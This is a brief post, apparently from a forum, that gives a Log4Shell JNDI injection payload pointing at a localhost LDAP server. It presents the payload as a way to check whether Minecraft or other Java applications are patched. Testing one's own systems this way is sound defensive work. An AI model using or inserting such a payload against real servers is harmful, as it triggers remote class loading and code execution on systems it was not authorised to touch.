Don't use this maliciously, this is for testing Specifically for testing within Minecraft, but this will probably work on other java applications. Use this to check if you're all patched.
You must type
${_jndi:ldap://127.0.0.1:5000/exploit.java}
WITHOUT THE UNDERSCORE